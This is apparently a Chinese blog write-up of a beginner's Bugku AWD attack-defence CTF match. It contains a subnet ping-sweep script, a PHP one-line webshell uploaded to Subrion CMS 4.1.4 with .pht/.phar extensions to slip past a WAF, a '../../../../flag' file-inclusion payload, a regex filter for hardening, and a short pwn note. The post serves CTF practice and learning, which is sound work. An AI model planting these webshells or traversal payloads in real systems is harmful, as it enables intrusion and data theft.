记录一次bugku AWD模拟赛

1.扫描局域网内存活主机

扫描脚本如下

import socket
import os

def scan_hosts(base_domain):
    for i in range(1, 255):
        domain = base_domain.replace("X", str(i))
        try:
            ip = socket.gethostbyname(domain)
            response = os.system("ping -c 1 " + ip)  # 发送1个 Ping 请求
            if response == 0:
                print(ip, "is up!")
            else:
                print(ip, "is down!")
        except socket.gaierror:
            print("Failed to resolve", domain)

base_domain = "192-168-1-X.pvp3417.bugku.cn"
scan_hosts(base_domain)

2.将自己本机的网站源码下载下来进行seay代码审计

审计结果如下

3.审计并没有什么结果,继续分析网站,发现网站框架为Subrion CMS v 4.1.4,找到该版本可以利用的漏洞

这里找到一个文件上传点,可以传入一句话木马进行getshell,这里使用pht或者phar后缀进行上传以免被waf检测到删除

<?php eval($_POST["x"]);?>

右键查看木马文件传入路径为/uploads,文件上传成功

4。使用Antsward进行连接,成功获取到flag(这里只要在文件上传时过滤文件后缀名即可做到加固的作用,咱就是说这里就不建议上waf,这里会直接导致网站访问不到,踩雷了扣100分)

5.这里还发现一个漏洞,在/game中有一个文件包含漏洞

含有include函数,即可传一个file参数进行文件包含且没有任何过滤

../../../../flag

加固方法:

使用preg_match();函数进行过滤

preg_match("/file|flag/i",$FILE)
\\=\,\\=\,\\
\!|\.|\*|\?|@|#\
\为转义字符所以要用\\

6.这里还有最后一个PWN漏洞,开放了9999端口直接nc连接

7.分析静态附件,在地址004011F6存在命令执行

 

查看源代码并分析得到

 8.因此,出口地址直接等于命令执行的地址即可利用命令执行拿到flag

没学过pwn,不知道怎么加固,师傅们带带菜菜

第一次打AWD太菜了师傅们见谅呜呜呜

 

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

王八七七

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值